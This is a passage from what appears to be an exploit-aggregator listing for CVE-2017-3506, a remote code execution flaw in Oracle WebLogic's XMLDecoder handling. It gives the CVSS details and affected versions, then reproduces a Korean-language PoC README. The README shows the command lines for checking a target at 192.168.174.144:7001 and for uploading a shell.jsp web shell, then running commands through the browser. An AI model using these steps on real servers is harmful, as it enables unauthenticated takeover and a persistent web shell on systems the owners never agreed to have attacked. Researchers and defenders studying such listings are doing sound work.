Exploit for CVE-2017-3506

kitploit · 2026-08-25

Description

XMLDecoder deserialization in WebLogic via CoordinatorPortType11 endpoint enabling shell access.

Entry point

ParameterXML payload in POST body · request body

Path192.168.174.144:7001/wls-wsat/CoordinatorPortType11

WebLogic XMLDecoder deserialization vulnerability (CVE-2017-3506) via /wls-wsat/CoordinatorPortType11 endpoint enabling unauthenticated remote code execution.

Affected Oracle Weblogic Server versions

Oracle Weblogic Server= 10.3.6.0.0, 12.1.3.0.0, 12.2.1.0.0, 12.2.1.1.0, 12.2.1.2.0

All known vulnerabilities by product

Oracle Weblogic Server

CVSS 7.4 for CVE-2017-3506

7.4

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack Vector:NETWORK

Attack Complexity:HIGH

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:NONE

CVE Information

CVE-2017-3506

Exploit Details

Modified:2026-08-25 04:15

Last Seen:2026-08-26 01:46

Reporter:KitPloit

Other exploits for CVE-2017-3506

Oracle-WebLogic-CVE-2017-10271

2026-08-27 KitPloitKITPLOIT

CVE-2019-2725

2026-08-27 KitPloitKITPLOIT

CVE-2017-3506

2026-08-27 KitPloitKITPLOIT

weblogicScanner

2026-08-26 KitPloitKITPLOIT

Oracle-WebLogic-CVE-2017-10271

2026-08-26 KitPloitKITPLOIT

Oracle-WebLogic-CVE-2017-10271-master

2026-08-26 KitPloitKITPLOIT

Exploit for Improper Input Validation in Joomla Joomla!

2025-07-27 mirrors_SecWikiGITEE

Exploit for OS Command Injection in Oracle Weblogic_Server

2020-11-18 Al1exGITHUB

Exploit Code

MARKDOWN30 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AL1EX-CVE-2017-3506
#### 이것은 무엇인가?

이것은 CVE-2017-3506(Weblogic XMLDecoder Serialization)의 PoC입니다.

#### 어떻게 사용하나요?

###### 취약점 확인

root@kitploit:~
    
    
    java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001
    

![check](https://assets.kitploit.com/production/public/readmes/15082/664ba8a7ef503411ab6b409f631fd2eb83dbafab7c7f6aa14967bdce041e4319.png)

##### 셸 획득

root@kitploit:~
    
    
    java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp
    

![GetShell](https://assets.kitploit.com/production/public/readmes/15082/ba0ed7c9bfd2487aa4704441f47f93e62a58563cfc1f2b84d197294e6fe1f4cb.png)

그런 다음 브라우저를 통해 명령을 실행할 수 있습니다:

![execut_command](https://assets.kitploit.com/production/public/readmes/15082/137e5d3231dacb1cde08d593687e59c3f83ce16455a1becee039083687117539.png)

Exploit Code

Share

Share on social media: